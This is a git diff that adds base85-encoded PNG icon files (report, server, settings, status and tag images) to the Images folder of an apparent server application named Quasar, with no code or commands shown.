0000000000000000000000000000000000000000..a451501e17081f16abfb6fcb8bdd151073be0562 GIT binary patch literal 487 zcmVpF7<5HgbW?9;ba!ELWdLwtX>N2bZe?^J zG%heMIczh2P5=M_Wl2OqR5(walf6sBP!z?Zlb!r8Ty$}BQ4pc{g>DWm4jmjsbQh)I zASjB9I7;ygaf&Fxk3k6mKZcT}gpS?XB~wW$h2y*T<~@^WJ9yyqop*BYuZ6aj@B7Hw zbzOL#$EUV!+r~5(vl_yHp3B3dK)KA3mXe>A z?gr3R1o-^oNDEn~0W^4W3f$bvoumO5S3v1JE=2~wYBquV9B}^t6jp)auJi=R4XWuo z;P4oj%uBD7257y$0qdK<(z4tM@cbf~G&BO#Y8=ym_Ya_N0NC3Hwu`{*qVxo)Rwa{W z7Jy2HV;Zov1FUUGJ~#p+7IBX81b@ih&2d;YG&qD+OR|TzUdb&r44} zD@m`!0Q$+M)M&`rZp*1vugBp>44{|)>KA~r<2dZBbf2APfVPtPm+4`03^dP@JEqho dWxMW%^$p6nYKTsd(L2%Nfb28ake(Nc)gcnjiHl06Vi5zr`8 z(3F?(m8sa))$`m0WS?l=+qJX%?3~|q&b{3f0P254(UJXrb9jGiI#k0{pbFjlDki*T zsNK65bM9bxejAF{MGVvdfg*Ucf>99P^0^-hR9&S2%@qIt{DU3aL~IrBX@O zh{xkltJMZF!Qku$_KzEIr<%^br7DT7!cwWkIkl(KYIP_Ui*UJIkjv$u`d_XSfR}Cb z{UM9R0=L_ZLZJY?UJqxoLZsE{kj-XUkQPFr5LDmuPuODtfppV3xYCS`Mgz%Y5)8w@ z@Angkj%{{2orpvt5Q#*37I1~SZ(2p|=nR#EQ|#1EP^{GPb@v#bw+~@78VP`#hFgbg zG?`3@Mxz`6VzKxVB{AfpV(m)(_QW!7K24!#B!TNn23O@VNMzIK?d?U6)DE-R43$cS wYY%A%1cIMD9`7A_#BRT>L?Qv7&&S{SUnp5P#YQSqod5s;07*qoM6N<$f_olE%m4rY literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/report.png b/Quasar-1.4.1/Quasar.Server/Images/report.png new file mode 100755 index 0000000000000000000000000000000000000000..e46691be352497446f74d9600b0d54bbad25b9c5 GIT binary patch literal 614 zcmV-s0-61ZP)3v129^elZx#%*^iY?)LWfYLnDznAvNY z+HRWMZ=2k4o!xPs-*TMXbDrOGpWt+$;C7(kcB0^Sqv3d?;d-UvpuXy%zv`mE>Z8Ew zrAsWULLsa}A+AOuu1O-VOCzscHL*@3vQZ?mQYEu_W3zl@v{fawRwlK7WwnB4w^=5) zTPC-IXSiM`xL+r^hiAHBD86_}zmH+Tl4HV)WWtnW!lnP$bBXUE6K$;rve#>C3U z#LCLb%gf8m#=y(`)YR40)!5kB+}zye=H}?==;`U{ z>gww3?CkCB?e6aG@bK{Q@$vHV^7Hfa^z`)g_4W4l_V@Sq`1ttw`T6?#`uqF){QUg= z{r&&{|7mX%G5`Po5Oh*bQve1aAucmEI6p{WWP$Yb{WNH>od5s;#7RU!R2UgG!AnZR zU=#+>?>-U|H9jKhO5B1Jx(gTP4#bh8ZoxI^Oo+Bp2-HCTdq3kK=Lp*S;2Rdj-J5#* zh{cmfj4h7`y7!@ZSTVW)~+R!fI9!@Q9y|f}EJle1V(w^-j0~ zSeT?o>^d@EOOjlzpWW=b+CtW(1JhnK;%iJo7{K(|P|a@7D8fvchN~VLF^mL~ISuDM zpk{X+O;k8u-k8GU@KN)dnbhC+>Hq;6=MjtY2PPG8n+a07*qoM6N<$g5yd_ A+yDRo literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/report_add.png b/Quasar-1.4.1/Quasar.Server/Images/report_add.png new file mode 100755 index 0000000000000000000000000000000000000000..80def93ef32fb65f721a02a64525a6a32db594ad GIT binary patch literal 697 zcmV;q0!ICbP)3v129^elZv>S`{x_70k@c?(Xh3Y8f|b z8TR(}H)|O`a3V~5F;k2vSC1`Wib-OMNoI~uYLnDznAvNY+HRWMZ=2k4o!xPs-*TMX zbDrOGpWt+$;B}c`cA(&PqTqL<;drCrdZpokoN|GyVTZY3hq_>kx?+sHWsSOIkEVi; zyK0ZTXQ007p}*>)!0MyG>ZMC8t3n~HLm{ofqOL|Fu1O-VOCzscHL*@3vD1*T){?SO zB(hQ^veK2ad1JGDWVBT!wA7WgRwlK7WwnB4w#clu)SS0jCbwHAw}WT6UMIL;C%K1b zx?w23cuBvHVZoAP!i!|Wlw`w}WyG0g#hPcz#>C3U#LULP&BnmZ$H2|U!O-Tq($dn@ z)YRD6*xcOQ>gww3?CkLH@bdEV^Yioc^z`-h_4fAm_xJbs`1twx`TF|$`}_O+{QUj> z{r~^}hEF660000KbW%=J00tl-E;BYbKS*F?fuW@I^!54u>#9X(0002sNklc$-dNNboum7!;Ew4(R{Rl$sV29mtRi%2fiDZ@O@ruiNB<1F_jQ*DSZ8m!UeOemy fTp6J2skGn!Y`l6L%gX9400000NkvXXu0mjfqhM#l literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/report_delete.png b/Quasar-1.4.1/Quasar.Server/Images/report_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..c541dfaf824af2c1b3677152697813719ff2b40b GIT binary patch literal 720 zcmV;>0x$iEP)3v129^elZx4Gy|SS7nL{yvqA&2Lj$x! z1GGZ}%*@R0?(X*X_Pjy_YLnDznAvNY+HRWMZ=2k4o!xPs-*TMXbDrOGpWt+$;C7(k zcB0^Sqv3d?;d-UvpuXy%zv`mE>Z8EwrAsWULLsa}A+AOuu1O-VOCzscHL*@3vQZ?m zQYEu_W3zl@v{fawRwlK7WwnB4w^=5)TPC-IXSiM`xL+r^hiAHBD7-@jy-o(ccuBuk z9lu!~zmH+STO+}eW5SDM!jxpgmSx15X2qIk#*c8vVJgXHD9V&|%ErXX$HdEQFU-ck z&BnmZ$H2|U!P0g;($dn@)YRD6*xcOQ-DCmXs*vGm1L3Zc=650Lc?Ig~>g$R??Ck9B zb^z~x81V4$^78WY^YiqbWAya&^{8_7_4W3(jrR8T_qC1p_xJdA0QmU$`T6u+?^z{AyU6)o80002nNkl;AlG*K`xWV3|X!@CY3m_YyQ*ekU z(a;lSCWmPHo;l;y|J?%|;^{<*e9+6t5KUhTCs^a=rq7TN&j%aw6=03`L{qVFx0h`0 zzFa*?h!^6Z2eaR8^*$!iv_3Wm*|xooRWalcFAtr_^X6Zq^c8FU9($%5-<|)&>Mwer}ZC4g>=g^Whx;60000-H$FZ?!$52qvWEN}{-yoKW{FBFmW zq!w144b2WW?g#Fn-Fcc`JBhy82RQG#i0-d<5fvjCog@$+2O{vQfU;&Y@9ZccOEEoU z`o;a{1AL?3-`@g9r?$MGoC2ZpYg3gkd~LIJN-Kyj0WFFjXAzC}zZFmMn> z5hP(kQ2wbL+b)^0VN5E278PPxnPnmOQ^4!RG@$Tk0dG6wAo;>>bk|-{ez()ti-GwO z1>i1eK-Z2FO5XOS3!^?i@QeaRReL0qkCgF&muO-~PMtxim>ErL(P zfS3df1ta*V0t}7zu&#X@7yU%ZQnn6iY~|3g8jLLj{&EAYhT$NO&&%mTVk=BuwsTj# z5M$DGfeHjwn95W3QF=8`P|Z{S2$t1SR?Org{n%-#rlrOxqLf%dc2Q<5P%}+aGtIAO m&9tc%qz?2SJEt(A%-}cm7d#*-!XU2z0000rk-tjAP!z_0H;J^hqSY9v zb}k|c4m$V%K7(69+d#cFCY7ogpC~w3Ke`J6TIdX#A8nW1+5$omq!P&?zNBWmp!Oj^F$x%{+EyrCHppeB z064$zZ&9;d9$r-v)6skkkeD&B0IT!GP>D51-{6;uZJ?)ARt;_FfBKRVZtET`r#BvO zxRoKBR!2^=Iz4vF&GCS2TBY7-;=DPLdMZ81qCWTY6$1IlXhF)6xey?|E<&3Cz?j!D z(7$8jdmnMYyZv+~6m9$B`bCWF3UVz+cD?TDxXj<`6Y4l&hC9#P;s5{u07*qoM6N<$ Ef*mugvj6}9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/server.png b/Quasar-1.4.1/Quasar.Server/Images/server.png new file mode 100755 index 0000000000000000000000000000000000000000..720a237c73a9809be48ffa5ad1c1b90205b7f025 GIT binary patch literal 530 zcmV+t0`2{YP)8!PM!jse+otDvXRhleu>w{(hr=P& zTV2;rBMofZo=3rrs;YWAJqHeofOC+HNSe*6&}=qN@aeaKWm$(L&gF8enM?+{FRwu9 zoD1NBqmclHW{%@Tw}6Wqg+f989t^&~Me(EkfChX#56VZfjYtFPF_lU|uh;XF8H4TO zj!YM$blUKV1mw(6M2qNP2;H{su`-!X|7n%u=>+~>3AvaIiltqd9#DvgJ&1=10t0D6 z$;|KlP3c1Y-2fh17umvCJQ4=!_2+B&{P5)SL<2$#ZY7EM2$|!%^Ti9`3q;4qtws{i zDI^jJKbdhUAOoMo-`t-B@esjXtJQ*jzYmI{z|3qKZ(vLsG2zn?;Y5OJwYqN@My1o~ zTxy!Ox4y9nOZhb^2wGcN&dWOz9qA2Pi2L&&MfZ)$Tym*VCU=T$Q;z6Ze zJ$g#19)u*6U}?pjN9Q`P1faW_&ZrhEh`zTzI_Q+4udtc{7?20{`>0tzC%6 z<4$0NFD@aX1`EXFfryb1uLICn5nxWaVpGCkj6kwT4ni1iOhPYO8V+7ZA`uje zMd-SYjtzD?ftn&>m3S@d6_=&B-;Cz zF*bAv13UKN-Iq6*nUCUQI(Jw5*Xv9h7Nm56LZ>KDJd8b9y7n953x!Z9A}LY;0000< KMNUMnLSTZ#4=Y0e literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_connect.png b/Quasar-1.4.1/Quasar.Server/Images/server_connect.png new file mode 100755 index 0000000000000000000000000000000000000000..49b269145afbb97ddd03fcfa844ea832c947fdd5 GIT binary patch literal 755 zcmVwYT0AgCL27sE1k% zB#Vk*Q+6?;e9+Vt!L4!K*`1ktXYNe*UVlWT^w7ZN+<|kx?>px^H{km|{^wKwm9Vg| zaNl*^8;;|sJc37gD5WAk3LK@NP$bk5Y$CIXlI%=4cd(q9B*cVPIfT zN-yMdJTl47IAHqHm0t=ttI8)@h=c;2s@8%}%bVy(RAhosz?g^LzLS!DUxmLngP`ow zrfn8+J7Zx$33yPOy6}EAf^^3q=H^}@`{F5>9HNI({R$?_cfm&~2_!((r0s!M>3g`lJ{4?wIwATQp;6yHt2^& zKYuq+Eb5L^v&R{AmzYgUE~OhIXUe@VXP)2T#eMsaNyJ@y*%#F`%&V0x=ZR~P^R7jY l<)&}aKbCWipX^bu^(V1WxGAiK0S5p8002ovPDHLkV1nEbSAPHi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_delete.png b/Quasar-1.4.1/Quasar.Server/Images/server_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..61e740fe18dc615016c3493811f305df96d678a7 GIT binary patch literal 668 zcmV;N0%QG&P)ZQIL=Mmwl(g-y|iYtDg0bIogV2(V47x-17<>@P+Hf!VQ~;Bh1ADY_Vk1>Kc5@s ze}58`N~Nm;9En7Z`Tc&Zu9YFOQ_4UY-hbj=vgo8wo7>bZ?mX^6EGP}5o4qgAd zf>y7X3>E~5{sEcYRlyGFL6@t*C6FW{GilXc39MrFM;3HnTt|X7nCvx95Y4`y#>dJg ztfe`ee?5c6OCFj}YU|v_+9e2S?u!(X>8@nT&ql-J&^L3?zb)dzt-H{Tgi?Q*KmN9` zaDU;lXQ!<|OhHxER^9tl$hWZk7^g1YfN$j)lt&}z{_q67@vzDiHtH&PUMLjK8is*D zAOPQypQzOua-5=e?fX~wjvBzVJA2(9k3ywNui{G2X0twYT0AgCL27sE1k% zB#Vk*Q+6?;e9+Vt!L4!K*`1ktXYNe*UVlWT^w7ZN+<|kx?>px^H{km|{^wKwm9Vg| zaNl*^8;;|sJc37gD5WAk3LK@NP$bk5Y$CIXlI%=4cd(q9B*cVPIfT zN-yMdJTl47IAHqHm0t=ttI8)@h=c;2s@8%}%bVy(RAhosz?g^LzLS!DUxmLngP`ow zrfn8+J7Zx$33yPOy6}EAf^^3q=H^}@`{F5>9HNI({R$?_cfm&~2_!((r0s!M>3g`lJ{4?wIwATQp;6yHt2^& zKYuq+Eb5L^v&R{AmzYgUE~OhIXUe@VXP)2T#eMsaNyJ@y*%#F`%&V0x=ZR~P^R7jY l<)&}aKbCWipX^bu^(V1WxGAiK0S5p8002ovPDHLkV1nEbSAPHi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_go.png b/Quasar-1.4.1/Quasar.Server/Images/server_go.png new file mode 100755 index 0000000000000000000000000000000000000000..540c8e2689b19cd661d3f07ec6d5c69a48ee79b7 GIT binary patch literal 706 zcmV;z0zLhSP)7<1w@I`*?5OI84*T|9oBhH}d)X zV_ny$7-LpT(?ounOeSx1Bq$b(0RlV<27^hr+Y6OI;2f4ea@pG(#Qc2bI;{>8 z6bgmQ0vry9qduPxrLScOb?OXyK&ctFdYopOnzzF=IxIzTH9TSNw zRv8@$M2+3u-KbWpO=ZKt@W_~@Zno4#v;XQqFdGCChs31_>&3!5%7&#b{zWFQc68tn zplmj4#^Z6+YBf55z<5&3{|y;v7;9uv%2$5X>rHda_}~n%R!c9`2Bty_PB{afo|wH(i1~} z&mbZJ35Q%B^!cO6Z!BTy%i>mD!&!%IJ)KTZ(mdRYL?UO7ODFJPbqWeO)2I~TMhXw( zyp+KE^<^xqJ^!icxKx=jKRWim##AbmAfj1{QTs88yd0gw>A`WlSX(G-+yZ}U&%wWZ o(p|@%!Cl@4H>AxOvt;l80V><8&-M2O*#H0l07*qoM6N<$f@GaWM*si- literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/server_link.png b/Quasar-1.4.1/Quasar.Server/Images/server_link.png new file mode 100755 index 0000000000000000000000000000000000000000..e8821dfd88a4a178df1581e12832925c401a78c5 GIT binary patch literal 706 zcmV;z0zLhSP)?mgenukSf$Ow%;{&(Qz*V`F0@b#ij@ zxZm&VX$7rf9v>g``Z^Q}JsL?+C={#&cxkiQLb7}jJpw^hA^ed`yWNI#dL>L>e-q^M z`Fjj@I2>0@CKGnPR>A73szKFMBGRA`S+Ca{9f68h+-|q{(d{0gPvFmm91*Ce^UmFA z5o06)XEYcLXt&z~WkrF1>Y7m3eyMY_&vn4e3W2zY4~4B4@}Fo`ggWoJX72yn!Jt=~ zC}x7Gz;&TMbfKNo1KrTUkU)^IvNFituckW41Kdc8hGB^|5P zDhq;WG2$IrNz43AeK;CB`x^az|5dNo zn+^tpmuW~wqY?Fb9i>u9WcPSHn3$O0UhR>XE|bZ8|Bb-s^GTFBK#I#m;3Sa5N8M~T opRypm6;{4LkrnDigB(5h2_j2`gUi>R_y7O^07*qoM6N<$f)SrU?*IS* literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/settings.png b/Quasar-1.4.1/Quasar.Server/Images/settings.png new file mode 100755 index 0000000000000000000000000000000000000000..8bf76fbbe5af5530a73743c61cc3d2ac5ac8ee17 GIT binary patch literal 459 zcmV;+0W|)JP)APtL+ zxmrl$Wc`zf3n*g`v;0rbIxj*dHiZTr(m6?gBTa=mqF6QotNZ~m#F3_akIwCAOSP@W zH9<<)RMz+vlE{$UIr?75NZmBOzJ*kxEUe+X}JB?9)jT!y^oDKLQExwUe@XGFqhsIZaLP7 zbI?9%3)Yi}p{w3$>$ba`|E~FKKCee=m)!r({S66-T?q1-?uGyW002ovPDHLkV1gB6 B%HRM1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/shield.png b/Quasar-1.4.1/Quasar.Server/Images/shield.png new file mode 100755 index 0000000000000000000000000000000000000000..3cb4e257893adf230db7220c06fb9371360312e7 GIT binary patch literal 702 zcmV;v0zv(WP)CSS=grr57X34Zl(zd#$wMb&<%>`t-B(tkBb(psfna0f6_}Do~^xke$ZPQvRr946H zWWosxshhe2GGhTlX^H4l2T{)>lHM28PjBPv)052H^wfm_GUcM~_VUEV$3cdCKWX1R z!rT&^3rTv;k{#1R&D<>@Px1a?%-hNzH)w3T)o)siWm4p$YE@#8C&=cg43(z=rJn}gKmtpUPjP_< zhQXyc#h?f*t`d2Vd9yzWR3(s7PzH#A7!f0%A|E3em_y#OBXS^bn8gJ3v%wOOhaiEV zN+Bg6K!%U|v5J*O8kij|KR-n{eladP2^TtCnBu~OphnPUSs(4yA3V7-gl0O@~?V*x@CTl&E<2=tI5q@L#DQla@S41 zJh{xk+x)uL-5)Og@e9A})romiTU+;hxI5}I{Y{<6W=--* k<)9^%y{&t@hewV9|hbB_iDKzrBQjRV9b;j0iw&mafTmszyTmU3-mY){H7tXE*Wd{yiT14 zo_z#7I^YzLxeeGWTuYTrGRHY8MO_234}dxyaE^f=uvvdsq8`?vAy_;fJ=DTsY>tmJ z^R%AQ3+e`-KIEl3;4A?o+Nwka+uKnS45Ac^p)@tc>no@p7(jJvD~f%6C@(GH70>ZP z^^pXeA>b+jBB+Z*@MC@+#o=Knem}H)9{JHx)QpW`XJ;oeU0rz1b2kZiECH-R_KHZs z?MB1G0=_ghawiM>#00cL0qV#IkJ_;}nMA6i123ad+#+CB0#5SyWde5e_M#yWz~|;> zJ@?%NR0v250LQ+yHKcq#JP(Dyil{*e@DXr{0Ij732Uk}Sce${!vVtb#1xW(7x3$5! zxQJzk18))u+#w(&0bT+w5+MG$i7!x`PQ?5BQS0^Ufa3HtoHH}X#pC$O7rf=Uy97Lu zfD;51QGx%vTyS2L; zHp2(1@WI@i-Xy|Q@2LPU4ND`rXk|XBN80#rvs@Rc@6>f#IU%hqn&}9e=@^?yG}xc^ ut!#y8Od%RGHFDRfPcVFW5d%9V=z{?A#;oriL5xO+n6O2X~nf!lQuE^VWXpgu83qI(qCF{ zS}dqc=wWy-JjhR6YYDxINHb)T^nMSh)vA20R`F7)lzCSCZF94My}d73T>N+m zpyXWPL`#FF;s+j3t(LL2R!6+EP98p9G9EaJe<5S)o@#CPu0JyV*YBbiNC<>y{C`3_2 zFc^fUC0P=`0GC2D0rmxry!i<{eh#|t2UjSV*w|QyY37m5W)KQZKoA6m%^;bK|K7sb zq~^Y!1U(%y>Cs5W^^bz?JUQeR7IK)M&$43OYdMwDJVcVBtSjl_Ar8Hmr2)a$eK-tv zNC4d)(7D`Piq~gVUR7m2k$BH5O6=$i%I6Kpa_sVNy!&j)9UKPT@*VWNNNm+UIUciF wPJ00!a`S;oH}3WS@hUTDnx*^y9@F3E2OYGed{u8eJ^%m!07*qoM6N<$f+a~A3jhEB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/standby.png b/Quasar-1.4.1/Quasar.Server/Images/standby.png new file mode 100755 index 0000000000000000000000000000000000000000..68debea360f88f869c0a2c2a13c0a964fb58c184 GIT binary patch literal 621 zcmV-z0+RiSP)2 zOGs2v9LMqRs67bNUiP3OW+lDI5Es_aqD|P#V0sa4E$0$Qgdr`WXj7XuMM?}s7=cQK zG_(ps8l#Y2kTnHn5n~opIYL%6cc$N+dyg|tQ3w9a{hxu)x#!&9@iBSKRu%K_VXMBH z#^?Pm5BTZYx|S8iGc-3{Gp3yJBUkn~naC4fM2Fa=nU`6hYBACNcGj0H@_bXNyx+X% z)F{*(q3>y&Ko)2WGTM5Ia?)xts>UWeFJP0Ua$SW03%TsSg;Oy+XS@eko8(W1>6+y&;uIl6r=+R zQjFYd`74K-wRTeUr|1zC_8!oUJ&Q>pM6Ssskx{qk9bke zUZzU#GCAuM#yBs|wynz)(`9;}cbW2rz7<9Pxy}yt#WcSGi;vq8Kbm{Z00000NkvXX Hu0mjf*k=>f literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/star.png b/Quasar-1.4.1/Quasar.Server/Images/star.png new file mode 100755 index 0000000000000000000000000000000000000000..b88c8578956ceec4ff17f81995b8652f6aa2b58d GIT binary patch literal 670 zcmV;P0%84$P)rx?szq&Dw38OK zY!^{rCAFy_2z8TV&4=Ube7+y|oYO*02OOyb5BD7I^ZdAQt`ZS+tMaFrb6^=AxbXHx zH;=|4CCm%L{PZwSS3v3G^sH+#W3JcR_xs(&`Tqt8^J9}d0vU#im5^f#04JL4qMaI^seoYDXwB>7;oyw=|M z1!ayym?6XvqV3ae_f95{py8ukt2TxB^!VIzRRh4#rNu~y^X+P>L{SXo3_|Qqm>9wY zz(9!5s#OBElpmj4DRyjO`0`RiEIkUg%7D)8y}}Ye3}prow;JG>UQOIs{kfZSJ9bYz zskMPbH9)1H6FDf)1=ZKVfe+;jf`a(O{!9meiN~~d0iA$0qX=t0D6Ydx4#RO76h@#R z9_k7Z;$fv6G>QeZ{Yu0n&xL4%!?l}UPj4!j&Vs@?dl=y8#_IQ`5I-5a_T$dJtJ_~5 z4&186>klZh{hfba4fr z6PwPau1z;L*OuFz&bh6rTf>}7rgwL{vsvHnW-Tgd2hPI}&i8YE=X?(f0PF88s3%G) zL~ga9&rja%@sULWLY>0xDcP!aOR+%eUoyJFnDMM*${oSj3a;9@k z?EJir4=x&dXBg%M8gg?G8D(;HQb1#`kDT^wiYFX2G`0|w(-g*MDHJwZ$)td~ZXZd^ zM=)UzLmd}~FicPwWyZ*_Ba#CO>rHB6>1>>#BxM)&QmCCWKWd?Nyxg z+&=)>6*{48at&4w&G;UI(G>&G80eS6s%?jEY7r{)3Wf}R$n|zStvwYwpMBs&0#Mpy zcZ}PEP+CZgSt-0{y6YWb^gq3VF|!w|!LPVeS&djM1|sMl)ZiNDpeh023*EHA5rTNw z2NmPHj~8At$fubW(Ar5}A-e;lANk z;&I0_l(AD4zwJ0C&ELV*x0W^AF~SJPZ4|Ri5*=L%H1XLGNhEkaL_j<+iFQ#NsyJzZ zGnr}Ze-3FkcX%m-Z}8^bAObm+L^Sn+F1qJ*Yw+yxJi4~{=tg~Udf;N#UODH;zN}dN Y4=LaLNh@8G#sB~S07*qoM6N<$g8f@x2mk;8 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_busy.png b/Quasar-1.4.1/Quasar.Server/Images/status_busy.png new file mode 100755 index 0000000000000000000000000000000000000000..987c806fff759fafe2a221a8d1eba225a3ace560 GIT binary patch literal 751 zcmVMm^(vTr!>t+|;*hPrMu0kRLK}h1qZtx06|w?a-}3^qoWvxT zfGus7FwBUs(l#`$Om={_&1eeI{;ME6L5Jm!CgE9<;a*I@LCbfxzsBOR;|S94iWW$Y%n_pb3sBMQ?EUhPdzat|DF7MMoo}#Odu|*-#@{3>z*~tL(y81=;uZeUhC0MNvg+l|!JR7U)*Ljd(7Z>ZlA!;mAE z28_{LFwY3!^764(ehIPL)rb}qrN!4(BV2Y~0sQ#0j&hSGU+3y+>f$g$jds6Chbh3? zZN%c~0<6-Wm9mxO@RhWApCP33pF=vU8{R0>yQ4LanH|+bX7AiR=brjTXM8d@|Cf*C hq>WTt)Lfzb{|&yn-Q8GmUSt3O002ovPDHLkV1fp!UoZdw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_offline.png b/Quasar-1.4.1/Quasar.Server/Images/status_offline.png new file mode 100755 index 0000000000000000000000000000000000000000..59055a80c73898d75e18ec736e4ee267e7adde25 GIT binary patch literal 369 zcmV-%0gnEOP)fk zOG^R)7=_{fQP6LQF3UEx2tq2P+6Y0>%3MScu0*;aM2i*{1-6ig!9WJnvMjYU=c+SP zj&zY`W8mU#<)wyicg_O`z5xb0x9d3w0ooH{jhR3ub(++bf+ctxf{l|1wAi3R^*OQS@Q3LEW_&_A#_ zby`l5Lf{esf#BzazYnYro;>R`urR4oK_%%Tl`wj(@7$A)}*E;(=@8WLfNiu$rZSjKT|f z?ztgFjG5kqcYI|piiD0znMcxu@qLdC{dv@?y=84TL+wC&x#`trbDjJb8S`Y#xogcr P00000NkvXXu0mjftSOxC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/status_online.png b/Quasar-1.4.1/Quasar.Server/Images/status_online.png new file mode 100755 index 0000000000000000000000000000000000000000..947bd4b62c310bd4b02f4df393b801ff055da86c GIT binary patch literal 722 zcmV;@0xkWCP)U+=6QbVu-m7iQpne!TDVN%1_maZRwgWInz^rj-iiE`ej`WTM zRSR$kWHTx*hyeBSk=JUKdG_TQVeX5bE0{JyvV@u~P^D5s5>{3jW?s+db|lDTKTqGC zTB;fqj*8`$gA$E!<6(|fX0z`b`=!k>_Dp1l`;Nt~oamI2oIL+B0$>zlG-M*cEj-Gu z7G6GhbxY_MuX=WHbTpG5=t*22KG~LR)dDD60x7<}i*mIYa*$(UU#um+T$+%4V{Zh% z{cOt!EfID6%<))iH%0cxpsm%7NgxhbM6#gQ5TbN040g35dFYa72VLzg{mo$?eiv;5 z3j$KPDe(1gAtZcVGSS|uAQ+1u@epX5(kV+mX2~2LJ#7 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/stop.png b/Quasar-1.4.1/Quasar.Server/Images/stop.png new file mode 100755 index 0000000000000000000000000000000000000000..0cfd585963d255190b8855a7689e8da1c4d7cf6b GIT binary patch literal 700 zcmV;t0z>_YP)*?Fk0YVb%?UEFajs1S?+YtYiPrjx0+ z+4YbyJXwz!SX#yqTlhtNQ%Ku9=RNm$j)&+(}lZ!UGGp|@|O z09YA#-dR#rIaGe;MBLe!ht*}!c?U}6YT!dfHDO%~>xtx&Klk-^WB==sC_vP4ddg4L z#GN10u$+QGf$!(i3&8VpF6O6+ef~&gQ#>AVqCJH_utvKMAuOeG%3%mn<<%9)yb~#4 zHc70e5sYyQ03$?zFUko7D1Bg1=6jXvg#bUm1b(pVKuC*}koEKGdj<=zdM#RWsl+kfRf;OU^G_BQh+Fc$z&F_AHuQYu(b)aq=H_Fx idDl8IBmWBc*Z2i=4uSP&;Q8VJ0000p>q?GuNnCdgP^*Bj5V_b?dAq2Ppn9^MBB^YUM zad0N-T{Ujg*A6d~mYV4na=hT4Nz+_}SGTgW|Iir!%$ z;@OGkWI6+j0H}~K4RYR%!7y|zM`O@*K>rL{*&}x3lR**HrMXC1->#slU>X|w!U1xQ zqcSga-P2WR)@z|k1bh>$XklZUXIIOiAi6N%V3E~W0KBflg?(2PiU6WYM0S(o78caUv;6^ zdZgKWzIJ`3+hui}Zuf{VIhjIra4 zvgC}sWsSOIj;^AP$%l`$<&V2+kGyA)wdRqpos+lclgo>gx966+>6p6dn9h)zyz862 z>z%&qozRq?zwDpD?V;0{rPZ9K!|AES=&Hu)tj6iA$LOrb>aEA=uF2`H$?CAk=&;G@ zu*vGN(~z;&lCsO{veK2a%<8n%m9@<1w$z-r&g#0*>$}kFz0vEw((Av|>(J)9*y8Zp zh$LA_UiEW>+$#P^7!ua`S0`j@bvoe_WJVn`tXa-1 z000bhQchC)30E}#2?ygSuwx)(U8fvUS z0rqkvzzr1eEcfyDaB;9S($!QgR|E>Ul~=$)xdKqYx!e~H%4LB9j^(};en8nkATE#s z3Rso-2LuI&ga?L)#b=8F1x!jqD8HWLRA2NMGT#GF22EXD*~00000NkvXXu0mjfKFDJN literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/table_delete.png b/Quasar-1.4.1/Quasar.Server/Images/table_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..b85916d921ec08675f9e41f18c0fbfd7f2124d8c GIT binary patch literal 660 zcmV;F0&D$=P)Q?2k`9nO>z?V zkm+%pXeD(;$AS7ZfflT_L=+s|TT1_EiiW!ITMXX4Mag6@HO(#LRPSW@V;_Y>1H5R6 zv<447v{ZFFVUNY*Dm}RIv2nDFsh1@_Tuj zC17D*VH8v8SFpp^y1wjLHB#VfgRc!n3%(Jw(bShWQjmB~tT+!(MOc{COw72}B6pni uj`Q&8s8!`!6#=Xdf;B0000x#)|EDOa>>@94MPlaITkUT{Ob_@-XVJ=L6Rn&r2UMJ&s2+SJ~$ZMfqx`>E%= zr{0U7ySCi*=zHKb>5=!;M}D)O`pEZ492SelF{r G5}E+|bhCZ{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/tag_blue.png b/Quasar-1.4.1/Quasar.Server/Images/tag_blue.png new file mode 100755 index 0000000000000000000000000000000000000000..9757fc6ed6597438eb8e5a70a1ab2402cdebd5d1 GIT binary patch literal 586 zcmV-Q0=4~#P)6YY{78#rvt}vj%qrc zN=UU@y$E6COaj9&r1NAlaUpajQlL~SorN%pOwHs*2laYgHBA$?ZOd~4Rw@5yFm2?1ZIg`0V-$-;GT1Fi5dB7wUSNi^%`^Ge62m>OBeX610Nsukl}DhDG-mxT?nhyYH!4he7Ri8 zrq0Ti&UXUvqX&F@JcJAe14@BNBqAY_QZAPjF(Y3r7P9H_kB#@LgFAf>xz>Qp&n=|a z>ro1XLZK^nmO`PRh#C2OK0ktd7l6-A;O5?fz1gNnCX)yR0^5T)AZ%#@G{_P{NCN^P z(J0zvSn~SSm(Ur);-M~8^*;61*VRI`T1BN&LAhK;sZ>I-SVW;vfUfJv=ko^ugnc0x zhJodBxe>iyk3%w<%wC8holUJ4(iv>tL{`DQt zPOsyUbO_Cmc&*iHkqbm3ku`|GcC^OhF>jj9W*GkH;^g!iUVpib_h*=@udp4h(P+e*zL_~ZmJjh(y^BxULwq>9zXoYE8sq{#pN~U0C6!8vY)5N2 z9P*}mw}7X$O^qTtJef1ACWvJT9^wt-)Zh0r~j#0bT`f;-zv6 z^Tmw22!%rMcs!TaUX<-8s;X-B`+Xbo+_uWuFa z1yIPc?DTrQ7KvRhmt*TG|L=EYQ=LqFX;=Lp`4}jx6BE-@00000NkvXXu0mjf=s_29 literal 0 HcmV?d00001 diff --git 